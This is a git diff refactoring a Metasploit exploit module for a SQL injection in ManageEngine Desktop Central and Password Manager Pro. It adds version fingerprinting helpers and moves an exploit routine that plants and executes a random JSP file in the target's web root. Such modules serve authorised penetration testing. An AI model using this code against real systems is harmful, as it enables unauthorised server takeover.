diff --git a/modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb b/modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb index b8fb58a038..fc3ec822e1 100644 --- a/modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb +++ b/modules/exploits/multi/http/manageengine_dc_pmp_sqli.rb @@ -118,88 +118,51 @@ class Metasploit3 < Msf::Exploit::Remote register_advanced_options( [ OptInt.new('CHUNK_SIZE', - [true, 'Number of characters to send per request (< 7800)', 7500]), + [true, 'Number of characters to send per request (< 7800)', 7500]), OptInt.new('SLEEP', - [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), + [true, 'Seconds to sleep between injections (x1 for MySQL, x2.5 for PostgreSQL)', 2]), OptBool.new('EXE_SMALL', - [true, 'Use exe-small encoding for better reliability', true]), + [true, 'Use exe-small encoding for better reliability', true]), ], self.class) end - def check - # Test for Desktop Central - res = send_request_cgi({ - 'uri' => normalize_uri("configurations.do"), - 'method' => 'GET' - }) + check_code = check_desktop_central - if res and res.code == 200 - if res.body.to_s =~ /ManageEngine Desktop Central 7/ or - res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ # DC v7 - # DC v7 uses the MySQL database - print_status("#{peer} - Detected Desktop Central v7 (MySQL)") - return Exploit::CheckCode::Appears - elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ or - res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ - if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v8 - build = $1 - if build > "80200" - print_status("#{peer} - Detected Desktop Central v8 #{build}") - return Exploit::CheckCode::Appears - else - print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") - end - else - print_status("#{peer} - Detected Desktop Central v8 (MySQL)") - end - # DC v8 < 80200 uses the MySQL database - return Exploit::CheckCode::Appears - elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ or - res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ - if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 - build = $1 - print_status("#{peer} - Detected Desktop Central v9 #{build}") - if build < "90039" - return Exploit::CheckCode::Appears - else - return Exploit::CheckCode::Safe - end - end - end + if check_code == Exploit::CheckCode::Unknown + check_code = check_password_manager_pro end - # Test for Password Manager Pro - res = send_request_cgi({ - 'uri' => normalize_uri("PassTrixMain.cc"), - 'method' => 'GET' - }) - - if res and res.code == 200 and - res.body.to_s =~ /ManageEngine Password Manager Pro/ and - (res.body.to_s =~ /login\.css\?([0-9]+)/ or # PMP v6 - res.body.to_s =~ /login\.css\?version=([0-9]+)/ or # PMP v6 - res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/) # PMP v7 - build = $1 - if build < "7003" - if build < "6800" - # PMP v6 < 6800 uses the MySQL database - print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") - else - print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") - end - if build >= "6500" - # if it's a build below 6500, it will only work if we have a JSP compiler - return Exploit::CheckCode::Appears - end - else - print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") - return Exploit::CheckCode::Safe - end - end + check_code end + def exploit + @my_target = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case to avoid polluting the web root any more. + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /windows/i + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + if datastore['WEB_ROOT'] + web_root = datastore['WEB_ROOT'] + else + web_root = @my_target['WebRoot'] + end + + jsp_name = rand_text_alpha_lower(8) + ".jsp" + fullpath = web_root + jsp_name + register_file_for_cleanup(fullpath.sub('../','')) + + inject_exec(jsp_name, fullpath) + end def pick_target return target if target.name != 'Automatic' @@ -531,30 +494,110 @@ class Metasploit3 < Msf::Exploit::Remote handler end - - def exploit - @my_target = pick_target - if @my_target.nil? - fail_with(Failure::NoTarget, "#{peer} - Automatic targeting failed.") + def check_desktop_central_8(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + if ver_gt(build, '80200') + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else + print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") + end else - print_status("#{peer} - Selected target #{@my_target.name}") + print_status("#{peer} - Detected Desktop Central v8 (MySQL)") end - # When using auto targeting, MSF selects the Windows meterpreter as the default payload. - # Fail if this is the case to avoid polluting the web root any more. - if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ - fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + # DC v8 < 80200 uses the MySQL database + Exploit::CheckCode::Appears + end + + def check_desktop_central_9(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + print_status("#{peer} - Detected Desktop Central v9 #{build}") + if ver_lt(build, '90039') + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + end + + # Test for Desktop Central + def check_desktop_central + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + unless res && res.code == 200 + return Exploit::CheckCode::Unknown end - if datastore['WEB_ROOT'] - web_root = datastore['WEB_ROOT'] + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ + # DC v7 uses the MySQL database + print_status("#{peer} - Detected Desktop Central v7 (MySQL)") + return Exploit::CheckCode::Appears + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + return check_desktop_central_8(res.body.to_s) + elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ + return check_desktop_central_9(res.body.to_s) + end + + Exploit::CheckCode::Unknown + end + + # Test for Password Manager Pro + def check_password_manager_pro + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + + if res && res.code == 200 && + res.body.to_s =~ /ManageEngine Password Manager Pro/ && + ( + res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 + res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 + res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 + ) + build = $1 else - web_root = @my_target['WebRoot'] + return Exploit::CheckCode::Unknown end - jsp_name = rand_text_alpha_lower(8) + ".jsp" - fullpath = web_root + jsp_name - register_file_for_cleanup(fullpath.sub('../','')) - inject_exec(jsp_name, fullpath) + if ver_lt_eq(build, '6500') + # if it's a build below 6500, it will only work if we have a JSP compiler + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)") + return Exploit::CheckCode::Detected + elsif ver_lt(build, '6800') + # PMP v6 < 6800 uses the MySQL database + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") + return Exploit::CheckCode::Appears + elsif ver_lt(build, '7003') + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + return Exploit::CheckCode::Appears + else + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + Exploit::CheckCode::Safe + end + end + + def ver_lt(a, b) + Gem::Version.new(a) < Gem::Version.new(b) + end + + def ver_lt_eq(a, b) + Gem::Version.new(a) <= Gem::Version.new(b) + end + + def ver_gt_eq(a, b) + Gem::Version.new(a) >= Gem::Version.new(b) + end + + def ver_gt(a, b) + Gem::Version.new(a) > Gem::Version.new(b) end end